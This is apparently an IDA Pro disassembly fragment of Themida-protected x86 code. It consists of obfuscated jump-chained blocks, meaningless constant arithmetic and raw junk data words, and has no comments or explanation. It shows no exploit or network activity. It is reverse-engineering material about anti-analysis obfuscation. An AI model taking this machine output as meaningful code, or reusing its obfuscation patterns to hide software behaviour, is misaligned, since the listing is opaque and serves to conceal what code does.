; ---------------------------------------------------------------------------


loc_53D41E:				; CODE XREF: Themida_:005423E0j
		push	small 6D38h
		mov	[esp], ax
		jmp	loc_535AC1
; ---------------------------------------------------------------------------


loc_53D42B:				; CODE XREF: Themida_:00542238j
		xor	edx, 81F0D8CBh
		sub	edi, 7115726h
		sub	edi, edx
		push	edx
		jmp	loc_541C83
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	0A8E904EDh, 54FFFFB1h, 0FFCA3AE9h
		dd 2434FFFFh, 83240C8Bh, 0D06804C4h, 89000059h,	0E589242Ch
		dd 4C581h, 9C680000h, 89000014h, 0AE92434h, 0C100002Ah
		dd 0E94005E0h, 0FFFFFC4Bh, 486DBB53h, 0C14369E6h, 0DBF708EBh
		dd 0FFDD18E9h, 5FFD29FFh, 875DE929h, 0D6E9240Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53D4A3:				; CODE XREF: Themida_:00539542j
		shr	ebp, 8
		add	ebp, 0D7031398h
		xor	ecx, ebp
		jmp	loc_536790
; ---------------------------------------------------------------------------
		db 89h
		dd 91E9241Ch, 81000036h, 2EAh, 74FF5200h, 148B0424h, 4C48324h
		dd 8B24048Fh, 89662424h, 0E6E92404h, 49FFFF85h,	21B0E9h
		dd 89535000h, 0C9F8E9E3h, 0F6B6FFFFh, 0F10015B1h, 0FFB548E9h
		dd 48F58FFh, 66E95C24h,	8BFFFF99h, 0C483240Ch, 12126804h
		dd 63E90000h, 8000001Eh, 0D32806EAh, 0EB80585Ah, 0C0B60FF0h
		dd 0F9EE9h, 1C5F0900h, 22EEE9h,	0E9CE0100h, 2D79h
; ---------------------------------------------------------------------------


loc_53D530:				; CODE XREF: Themida_:00537EAEj
		push	3E90h
		mov	[esp], eax
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	esi
		push	ebx
		push	esp
		jmp	loc_53C51C
; ---------------------------------------------------------------------------


loc_53D54F:				; CODE XREF: Themida_:0053967Dj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 53196BDAh
		jmp	loc_53DE89
; ---------------------------------------------------------------------------
		dd 0E289525Bh, 572BB53h, 0D3F741FAh, 8107EBC1h,	0D61099C3h
		dd 81D3F70Ch, 0ADE36DEBh, 0AA8CE9F1h, 0C181FFFFh, 9031217h
		dd 2959C889h, 19E958C7h, 5BFFFFB1h, 0FE38AA05h,	36BE5617h
		dd 815A4D6Ah, 5B610AF6h, 3E6C117h, 1EB368h, 241C8900h
		dd 1D22CDBBh, 0E9DE2123h, 1DF7h, 377DCE81h, 0EE81330Bh
		dd 2B0C274Fh, 815EF301h, 93D206C3h, 3EE81F0h, 1610459h
		dd 3C681DEh, 5B610459h,	5604EE83h, 42474FFh, 0FFB06DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53D5F9:				; CODE XREF: Themida_:0053FB43j
		push	esi
		mov	esi, 5BAD3474h
		jmp	loc_53DCB3
; ---------------------------------------------------------------------------


loc_53D604:				; CODE XREF: Themida_:0053DC61j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_53D824
; ---------------------------------------------------------------------------
		db 56h
		dd 727ABA52h, 0E6BE7550h, 314E0775h, 9CBA5AD6h,	813B5707h
		dd 817844C2h, 0C84BE946h, 0C789FFFFh, 3832E9h
		db 0
; ---------------------------------------------------------------------------


loc_53D635:				; CODE XREF: Themida_:005368D8j
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_53F98B
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 0E9000000h, 0FFFFCC01h, 0F680DEF6h, 0C0D6F61Bh
		dd 0C68003E6h, 0E9F000F3h, 4111h, 55595451h, 0FFDC45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53D669:				; CODE XREF: Themida_:0053E3D7j
		mov	[esp], cx
		mov	ch, 5
		jmp	loc_542206
; ---------------------------------------------------------------------------
		dd 4DC9F181h, 0B8E915F4h, 81FFFFA6h, 9F105AF5h,	8A36E965h
		dd 0D801FFFFh, 4C0835Bh, 0FF8D00E9h, 2434FFFFh,	0EC835558h
		dd 24248904h, 0FF9F79E9h, 137068FFh, 3C890000h,	68E78924h
		dd 53DEh, 52240489h, 1B4FE9h, 0C9EB8100h, 8B72245Fh, 89502434h
		dd 9AB3E9E0h, 0BE56FFFFh, 4, 0FF9948E9h, 1E2F68FFh, 3C890000h
		dd 81E78924h, 4C7h, 1A0C6800h, 1C890000h, 9D5CE924h, 0D909FFFFh
		dd 2FF9E95Bh, 0E9540000h, 13B5h, 6FC380h, 0C3285BD8h, 5024048Bh
		dd 0BA52E089h, 97B7056h, 7052F281h, 0D001097Bh,	8124148Bh
		dd 4C4h, 40500h, 4870000h, 6AE95C24h, 0AC000025h, 0C9E9D830h
		dd 66FFFFBDh, 0B9665157h, 46E94209h, 89000009h,	4C681E6h
		dd 83000000h, 348704C6h, 0E9505C24h, 4364h, 0C32FB3BEh
		dd 8D50E976h, 2B9FFFFh,	5000000h, 27D06711h, 112DC801h
		dd 5927D067h, 8B240487h, 0F662424h, 6866C8BEh, 0C4E9358Ah
		dd 8100001Ah, 450672EBh, 4EC8318h, 51240489h, 0AE7270B9h
		dd 6BDCB80Fh, 0C8315531h, 58C30159h, 76BEC381h,	46E97F03h
		dd 57FFFFE0h, 3D7D5CBFh, 9188E92Eh, 452DFFFFh, 0E9CFFB43h
		dd 1B82h
; ---------------------------------------------------------------------------


loc_53D7CC:				; CODE XREF: Themida_:0053FD15j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		pop	esi


loc_53D7E1:				; CODE XREF: Themida_:0053F431j
		push	ebx
		jmp	loc_53F029
; ---------------------------------------------------------------------------
		db 81h
		dd 64582EFh, 0E9C35905h, 0FFFF82CDh
; ---------------------------------------------------------------------------


loc_53D7F4:				; CODE XREF: Themida_:005362B5j
		add	eax, 49B5235Eh
		add	eax, edi
		jmp	loc_53E298
; ---------------------------------------------------------------------------
		dd 34FFDE01h, 0C518E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D80A:				; CODE XREF: Themida_:0053BE3Bj
		mov	dword ptr [edx+38h], 1ECB6695h
		sub	[edx+38h], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	18BCh
		jmp	loc_53ED32
; ---------------------------------------------------------------------------


loc_53D824:				; CODE XREF: Themida_:0053D60Aj
		mov	[esp], ebp
		jmp	loc_540185
; ---------------------------------------------------------------------------


loc_53D82C:				; CODE XREF: Themida_:0053FF3Cj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_53DC3E
; ---------------------------------------------------------------------------
		db 4
		dd 2CD8288Dh, 55B6528Dh, 0FFD1E6E9h, 6E0FBFFFh,	0F9894DA5h
		dd 102C685Fh, 0C890000h, 0D1595824h, 57D8F7E8h,	527DFCBFh
		dd 98C7810Dh, 0E90F46A6h, 2AAFh, 0B3E9E628h, 6600001Ah
		dd 52CCB60Fh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 4812424h, 424h, 0C2815A00h, 4, 2016E9h, 0E2815A00h
		dd 58CD67F7h, 1C281h, 0BD550000h, 183F10B8h, 39DEF581h
		dd 42E9A6F3h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D8CB:				; CODE XREF: Themida_:0053BFCDj
		push	esi
		push	26623B80h
		pop	esi
		jmp	loc_53F2DA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240411h, 0FF81DCE9h, 240487FFh,	0E9D8F758h
		dd 0FFFFFA70h, 0E0C68146h, 89F18BCAh, 0BA525EF3h, 2C920F41h
		dd 6792C281h, 81573A48h, 4ECh, 0AF72E900h, 665CFFFFh, 0E924048Bh
		dd 0FFFFC8E3h, 88E9E830h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D923:				; CODE XREF: Themida_:0054006Aj
		sub	esi, 9B5E705Ah
		or	edx, esi
		pop	esi
		jmp	loc_53E07C
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FFF711E9h, 0E9C701FFh, 2B1Fh
; ---------------------------------------------------------------------------


loc_53D940:				; CODE XREF: Themida_:005411A4j
		mov	ch, dl
		pop	edx
		add	ch, 52h
		sub	ch, 29h
		jmp	loc_535D54
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4ECh, 243C8900h, 0FFA629E9h,	50435BFFh, 7272B3B8h, 3D6CE921h
		dd 5580000h, 4,	0B4685751h, 5F729268h, 2EFC14Fh, 0D5BA5247h
		dd 0E9E35B65h, 0FFFF8C43h, 0FF241C89h, 5B042474h, 5C24048Fh
		dd 8957C330h, 4C781E7h,	83000000h, 3C8704EFh, 1C895C24h
		dd 261FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53D9AE:				; CODE XREF: Themida_:00536F37j
		mov	[esp], esi
		jmp	loc_540DBF
; ---------------------------------------------------------------------------
		dw 489h
aTxhf7		db '$TXhF7',0
		align 10h
		dd 0BE243489h, 4, 525EF001h, 499BB850h,	18E905B2h, 5F000013h
		dd 17E468h, 24348900h, 268h, 0E9565E00h, 41D1h,	840FC909h
		dd 0FFFFFE26h, 9068E955h, 74FFFFFFh, 34FF0424h,	0C4835924h
		dd 24048F04h, 0FFD50FE9h, 81CF01FFh, 0CC05C3EFh, 1E685948h
		dd 89000025h, 0BFBB241Ch, 0C102FE0Dh, 0B5E903E3h, 0BBFFFFA4h
		dd 141621A4h, 0FFA62CE9h, 0AAE9ACFFh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53DA3B:				; CODE XREF: Themida_:00539294j
		add	esp, 4


loc_53DA41:				; CODE XREF: Themida_:00541666j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_53E388
; ---------------------------------------------------------------------------


loc_53DA5D:				; CODE XREF: Themida_:0053AD68j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 1BEA73FEh
		shl	ebp, 1
		add	ebp, 1CBF3646h
		jmp	loc_5405E0
; ---------------------------------------------------------------------------


loc_53DA79:				; CODE XREF: Themida_:00539636j
		push	edx
		mov	edx, esp
		jmp	loc_53DBCB
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0C7h
		dd 5EFFFFC9h, 36B95147h, 2101270Fh, 240C8BCFh, 4C481h
		dd 0CE90000h, 87FFFF9Bh, 685C242Ch, 23A7h, 89241489h, 0C859E9E2h
		dd 0C381FFFFh, 5D702C8Bh, 0FFEEA8E9h, 425E5DFFh, 0FFBA95E9h
		dd 0C1665FFFh, 56605E0h, 8166F38Eh, 663F5CE9h, 8166C101h
		dd 583F5CC1h, 85C98166h, 0E9816608h, 0EBE91F44h, 66000038h
		dd 50240C8Bh, 0FFB17CE9h, 57C181FFh, 1A2ACC8h, 5AE959CBh
		dd 0BAFFFF93h, 6ACA14DDh, 8107EAC1h, 533696C2h,	0AA3FE942h
		dd 5650FFFFh, 0F73A01BEh, 8E92E92Fh, 8B66FFFFh,	0EC832404h
		dd 241C8904h, 3B2968h, 4EC8300h, 83242489h, 8F042404h
		dd 0E9562404h, 0FFFFB755h
; ---------------------------------------------------------------------------


loc_53DB44:				; CODE XREF: Themida_:005400C8j
		add	esp, 4
		xor	eax, ebx
		jmp	loc_5389E8
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 24D3665Ch, 62E99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DB5F:				; CODE XREF: Themida_:0053AE7Fj
		mov	edi, 48BC2077h
		sub	eax, edi
		pop	edi
		push	edi
		jmp	loc_54037A
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EAh
		dd 5D0233E8h, 5A5AD001h, 0FF9C5FE9h, 0EF8059FFh, 0C11EE9EFh
		dd 0D000FFFFh, 0FFEBC5E9h, 2474FFFFh, 0E2E95B04h, 5300003Bh
		dd 0C6E905B3h, 0BBFFFF93h, 4, 16E9DF01h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53DBAB:				; CODE XREF: Themida_:0053DE67j
		pop	ecx
		jmp	loc_540A6C
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 4C3815Ch, 0E9000000h, 4705h,	8B2434FFh, 0BE92404h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DBCB:				; CODE XREF: Themida_:0053DA7Cj
		add	edx, 4
		push	esi
		push	edi
		push	15112196h
		jmp	loc_53762F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E7895724h, 0FFE734E9h, 0E16866FFh, 489663Bh, 8A32E924h
		dd 0E789FFFFh, 3B5FBD55h, 0C58140EDh, 101F23B5h, 81FFED83h
		dd 0C5F11F5h, 5DEF0151h, 4B850h, 0C7010000h, 582434FFh
		dd 0FFCC75E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53DC21:				; CODE XREF: Themida_:00537951j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dw 8951h
		dd 59CF89F1h, 1DB1E95Eh, 0C890000h, 0D8AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DC3E:				; CODE XREF: Themida_:0053D83Ej
		push	esi
		push	eax
		mov	eax, 30490DA0h
		jmp	loc_53A00F
; ---------------------------------------------------------------------------


loc_53DC4A:				; CODE XREF: Themida_:00542271j
		add	esp, 4
		jmp	loc_53718B
; ---------------------------------------------------------------------------
		db 5Ah,	21h, 0F7h
		dd 0A60CE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DC5E:				; CODE XREF: Themida_:00539586j
		sub	ebx, 4
		jmp	loc_53D604
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFA11Fh
; ---------------------------------------------------------------------------


loc_53DC6C:				; CODE XREF: Themida_:00541BB8j
		neg	ebp
		not	ebp
		inc	ebp
		add	ebp, 3A0B3FBAh
		jmp	loc_54069E
; ---------------------------------------------------------------------------
		dd 0CE4FB7BFh, 0C7F78125h, 31766643h, 0C1815FF9h, 39CC3061h
		dd 2CEBE9h, 0E0895000h,	405h, 0CB43E900h, 0E981FFFFh, 6C5E6EBBh
		dd 7809E981h, 0FDE9E87Eh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53DCB3:				; CODE XREF: Themida_:0053D5FFj
		shr	esi, 2
		jmp	loc_540ACD
; ---------------------------------------------------------------------------


loc_53DCBB:				; CODE XREF: Themida_:00537C97j
		mov	ebx, 969024Ah
		and	ebp, ebx
		jmp	loc_53B8BB
; ---------------------------------------------------------------------------


loc_53DCC7:				; CODE XREF: Themida_:0053CE00j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_53B15E
; ---------------------------------------------------------------------------


loc_53DCE1:				; CODE XREF: Themida_:0053BAE7j
		or	ebp, esi
		jmp	loc_5393E6
; ---------------------------------------------------------------------------
		dd 2474FF57h, 0C4C4E904h, 489FFFFh, 2474FF24h, 0ECE95804h
		dd 5AFFFFE5h, 3C00C581h, 0DDF72256h, 0E710E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DD0E:				; CODE XREF: Themida_:00541B32j
		pop	ebp
		jmp	loc_53AC00
; ---------------------------------------------------------------------------


loc_53DD14:				; CODE XREF: Themida_:0053AD21j
		pop	eax
		push	6A51h
		mov	[esp], ebp
		jmp	loc_5367AF
; ---------------------------------------------------------------------------
aRsc_0		db 'Ré–+',0
		align 4
		dd 19AA68h, 243C8900h, 0FD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_53DD35:				; CODE XREF: Themida_:0053B107j
		shr	ebp, 4
		add	ebp, 3E172FE3h
		push	eax
		mov	eax, 57847089h
		push	eax
		not	dword ptr [esp]
		pop	eax
		or	eax, 1ADB7512h
		and	eax, 42231774h
		sub	eax, 469E2B79h
		or	eax, 446E5C68h
		add	eax, 110004h
		add	ebp, eax
		pop	eax
		neg	ebp
		neg	ebp
		jmp	loc_540673
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 29000000h, 242C8BEAh, 4C481h, 0FF520000h, 8B042474h
		dd 89502414h, 4BB53E0h,	0E9000000h, 0FFFFF8F6h
; ---------------------------------------------------------------------------


loc_53DD94:				; CODE XREF: Themida_:00538D47j
		mov	edx, 1Ch
		sub	edx, 230D3475h
		sub	edx, 3ADD1DECh
		add	edx, edi
		push	esi
		mov	esi, 8535C95h
		xchg	ebx, esi
		jmp	loc_540DDA
; ---------------------------------------------------------------------------


loc_53DDB4:				; CODE XREF: Themida_:0053942Ej
		push	edi
		push	ebp
		push	ebx
		mov	ebx, 33B818CDh
		jmp	loc_53B29C
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0EEh
		dd 0D8D6296h, 0A3CAEE81h, 0F731DBC7h, 0E6BE565Eh, 0E962E532h
		dd 0FFFFEEDBh, 9C242CD2h, 0FF7CDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53DDE5:				; CODE XREF: Themida_:005380EFj
		sub	dword ptr [esp], 3E0E38EEh
		pop	ebx
		add	ebx, 3E0E38EEh
		mov	ecx, [esp]
		push	7165h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_53A476
; ---------------------------------------------------------------------------
		db 42h
		dd 0C77E9h, 0D2F74A00h,	0D355F281h, 59E9F2D4h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DE2F:				; CODE XREF: Themida_:0053C0EDj
		mov	ebx, ecx
		pop	ecx
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_53976C
; ---------------------------------------------------------------------------


loc_53DE47:				; CODE XREF: Themida_:0053C07Aj
		pop	ebp
		sub	esi, ebx
		pop	ebx
		jmp	loc_53965F
; ---------------------------------------------------------------------------


loc_53DE50:				; CODE XREF: Themida_:0053B9E1j
		dec	ebx
		push	7C4Fh
		mov	[esp], ecx
		push	esi
		mov	esi, 11245F72h
		push	esi
		xor	dword ptr [esp], 33F8753Ah
		jmp	loc_53DBAB
; ---------------------------------------------------------------------------
		dd 81D3F75Ah, 0AC5C01EBh, 0F73E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53DE7A:				; CODE XREF: Themida_:00538F6Cj
		neg	ebp
		add	ebp, 7BC5B9E3h
		sub	ecx, ebp
		jmp	loc_53649C
; ---------------------------------------------------------------------------


loc_53DE89:				; CODE XREF: Themida_:0053D567j
		shr	ebx, 8
		neg	ebx
		sub	ebx, 391A16F0h
		shl	ebx, 4
		add	ebx, 53606063h
		xor	ebx, 0BC8D5AB7h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_53CDF8
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0A48EE924h, 0DBBEFFFFh, 817B5148h, 955ACFC6h, 5EF789F8h
		dd 34FFFD31h, 1138E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53DECE:				; CODE XREF: Themida_:0053BBE9j
		add	edi, 4
		jmp	loc_541C4D
; ---------------------------------------------------------------------------
		db 59h,	53h, 89h
		dd 0C1F1E9E3h, 0CE01FFFFh, 0FFC6DAE9h, 24248BFFh, 50241489h
		dd 7BCBE99Ch, 0E981FFFFh, 440B4D7Fh, 0FFA971E9h, 0E95B54FFh
		dd 0FFFF9014h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_540710
; ---------------------------------------------------------------------------
		dd 0E95EF289h, 0FFFFEEFBh, 4BE56h, 0ACE90000h, 0FFFFFFB5h
		dd 19E92434h, 56FFFFB6h, 5E0B37BEh, 0C4E95224h,	0F700001Fh
		dd 32C281DAh, 2987F425h, 0D5F75AD5h, 54E9D5F7h,	2DFFFFF2h
		dd 7E6B1E9Ch, 9C05F801h, 8B7E6B1Eh, 0C481243Ch,	4, 0FFD6CEE9h
		dd 0EF815FFFh, 0FFFFFFFFh, 36D6E9h, 0E8285B00h,	0F1E95266h
		dd 8B000035h, 0D0E9241Ch, 0BAFFFF81h, 436E7499h, 1F69E281h
		dd 0CA8135B1h, 0EE73725h, 0FFDAFDE9h, 888BB1FFh, 240C8BC8h
		dd 4C481h, 0C3000000h, 0C3285866h, 808BB450h, 0E3286AC3h
		dd 80E5B252h, 44E975EAh, 89FFFFF5h, 5E542434h, 0B8BF5751h
		dd 0C1357372h, 0DFE904E7h, 68000029h, 76BFh, 68240C89h
		dd 4961h, 55242489h, 4BDh, 0B317E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53DFFA:				; CODE XREF: Themida_:00540A0Fj
		pop	edx
		xor	edx, 285D46E1h
		pop	edi
		and	eax, edx
		jmp	loc_5397BE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		align 10h
		dd 805B66DDh, 0B25284EDh, 0B95BE936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E01E:				; CODE XREF: Themida_:00536E2Bj
		push	edx
		mov	edx, 6DE358Eh
		shl	edx, 5
		and	edx, 27DD30E3h
		xor	edx, 5B2E46B2h
		jmp	loc_53A3D7
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 0FFFFEE56h, 4C581h, 0ED830000h
		dd 242C8704h, 0E924248Bh, 0FFFF82E5h, 0A3E9DA01h, 0FE00000Eh
		dd 0DBE980C1h, 0FFCFDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53E069:				; CODE XREF: Themida_:0053F1D4j
		push	70AFh
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_53F96C
; ---------------------------------------------------------------------------


loc_53E07C:				; CODE XREF: Themida_:0053D92Cj
		and	edx, 5BAA2355h
		jmp	loc_53E32C
; ---------------------------------------------------------------------------


loc_53E087:				; CODE XREF: Themida_:0053BDB8j
		add	bl, dh
		mov	edx, [esp]
		jmp	loc_53EB07
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C9h
		dd 81660B23h, 534878C9h, 1503BB66h, 6EB8166h, 0EB81666Bh
		dd 4B666077h, 89E38166h, 0C3816618h, 2966F780h,	2434FFD9h
		dd 4C4815Bh, 66000000h,	8166D9F7h, 6617FCE9h, 665EE981h
		dd 8BCF8966h, 0C483240Ch, 0FB016604h, 0B70F5F66h, 5F5457C0h
		dd 5BE95753h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53E0EB:				; CODE XREF: Themida_:00540DF8j
		pop	esi
		push	ebp
		push	edx
		mov	edx, 25F14471h
		neg	edx
		or	edx, 1F8B2C90h
		shr	edx, 8
		jmp	loc_536AA1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 77E95724h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E10F:				; CODE XREF: Themida_:00537404j
		push	ebx
		mov	ebx, 54323C31h
		jmp	loc_53D0A1
; ---------------------------------------------------------------------------


loc_53E11A:				; CODE XREF: Themida_:005413BBj
		push	eax
		mov	eax, 3EDE106Bh
		mov	edx, eax
		pop	eax
		sub	ebp, 754F5CF9h
		jmp	loc_53CC82
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 0C7FE6AB7h, 0E908EFC0h, 0FFFFE4B5h
; ---------------------------------------------------------------------------


loc_53E13C:				; CODE XREF: Themida_:00537C47j
		pop	ecx
		sub	ecx, 5704A18h
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_539B96
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 1636BB53h, 0DF2136A5h, 4FB9515Bh, 81241111h
		dd 23567FC1h, 81D1F772h, 0E2EF50C1h, 2CE6E99Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53E17A:				; CODE XREF: Themida_:0053686Dj
		push	eax
		mov	eax, 594B1600h
		xor	edx, eax
		jmp	loc_53A63E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 66240C89h, 0CCB15152h, 6659CA88h, 0E9D3B353h, 0FFFF81D4h
		dd 5204C483h, 0B68AB551h, 5EEE802Ch, 5166EE00h,	0EE005EB5h
		dd 0C7E95966h, 51000019h, 0FF98C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53E1BD:				; CODE XREF: Themida_:005399CAj
		xor	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 17517AF1h
		push	edi
		mov	edi, 32C76370h
		add	edi, 0EE67188Ch
		and	ecx, edi
		jmp	loc_53F7C7
; ---------------------------------------------------------------------------


loc_53E1D9:				; CODE XREF: Themida_:0053A9C2j
		xor	ecx, 592C6D35h
		jmp	loc_53E643
; ---------------------------------------------------------------------------
		dd 0C0E9D601h, 51FFFFC0h, 0CBECBAB9h, 59CA2975h, 525AD601h
		dd 4BAh, 0CBC6E900h, 0BAE9FFFFh, 81FFFF78h, 4C4h, 243C8700h
		dd 288645Ch, 0FF78A8E9h, 243C8BFFh, 4C481h, 0E9010000h
		dd 0FF81BFE9h, 70E95CFFh, 87FFFFE8h, 0E95C2434h, 1479h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_541FF5
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 93E90000h, 5C000029h, 54243489h, 0D1F5E95Eh
		dd 34FFFFFFh, 2434FF24h, 56241C8Bh, 0FFA5B0E9h,	6E2C1FFh
		dd 0B8505653h, 6F704F9Ch, 0BB585E50h, 0EAC9C9BEh, 818C381h
		dd 0F3010300h, 818EB81h, 0E95E0300h, 0FFFF7F39h
; ---------------------------------------------------------------------------


loc_53E298:				; CODE XREF: Themida_:0053D7FBj
		sub	eax, 49B5235Eh
		add	eax, 79F05788h
		push	5BE1h
		mov	[esp], edx
		sub	dword ptr [esp], 7ADD75FAh
		pop	dword ptr [eax]
		add	dword ptr [eax], 7ADD75FAh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_536DA6
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 0E9575600h, 0FFFFA25Eh
; ---------------------------------------------------------------------------


loc_53E2D4:				; CODE XREF: Themida_:00540B9Fj
		mov	ebx, 36847F9Ah
		push	eax
		mov	eax, 664237EDh
		dec	eax
		not	eax
		inc	eax
		jmp	loc_53AE77
; ---------------------------------------------------------------------------
		dd 0B75366ACh, 66F828FAh, 4EC835Bh, 0E9241C89h,	0FFFF8331h
		dd 15FF989h, 0B58BE9CAh, 0C681FFFFh, 4,	8704C683h, 0E95C2434h
		dd 0FFFFBAACh
; ---------------------------------------------------------------------------


loc_53E318:				; CODE XREF: Themida_:00538E6Cj
		sub	esp, 4
		jmp	loc_5383A5
; ---------------------------------------------------------------------------


loc_53E320:				; CODE XREF: Themida_:0053AC91j
		push	ebx
		push	edx
		mov	edx, 4DF85BDAh
		jmp	loc_53D1DC
; ---------------------------------------------------------------------------


loc_53E32C:				; CODE XREF: Themida_:0053E082j
		or	edx, 3D177988h
		sub	edx, 7F3779D9h
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		jmp	loc_53B281
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Fh, 42404h, 34FF0000h, 0EC815B24h, 4,	0E9242C89h
		dd 254Ah, 0DBBD5559h, 813F1978h, 0E68729C5h, 0CA1DE9C0h
		dd 0ABBFFFFh, 890E7673h, 0E5C15BDDh, 0BF58107h,	0E9069571h
		dd 0FFFF9972h
; ---------------------------------------------------------------------------


loc_53E388:				; CODE XREF: Themida_:0053DA58j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53F1D0
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 2Eh
		dd 0E965BD58h, 0FFFFD725h, 0A729130Dh, 8E0C14Dh, 405D8F7h
		dd 1AFAB1Bh, 0B8E958C2h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E3B3:				; CODE XREF: Themida_:0053C084j
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, ecx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_540E9A
; ---------------------------------------------------------------------------


loc_53E3C5:				; CODE XREF: Themida_:0053EB0Aj
		add	bl, 72h
		add	bl, 4Ah
		add	bl, al
		sub	bl, 4Ah
		sub	bl, 72h
		push	small 101Ch
		jmp	loc_53D669
; ---------------------------------------------------------------------------
		dd 4E95150h, 1000014h, 5B04245Ch, 0E92434FFh, 0FFFF9744h
		db 5Ch
; ---------------------------------------------------------------------------


loc_53E3F1:				; CODE XREF: Themida_:0054055Dj
		push	ebx
		push	ebx
		push	eax
		mov	eax, 7039303Ch
		add	eax, 0FFFFFFFFh
		inc	eax
		xor	eax, 65FE0A6Eh
		shl	eax, 4
		sub	eax, 0F586283Fh
		mov	ebx, eax
		pop	eax
		add	dword ptr [esp+4], 7C2E1BCFh
		sub	[esp+4], ebx
		jmp	loc_53B18C
; ---------------------------------------------------------------------------
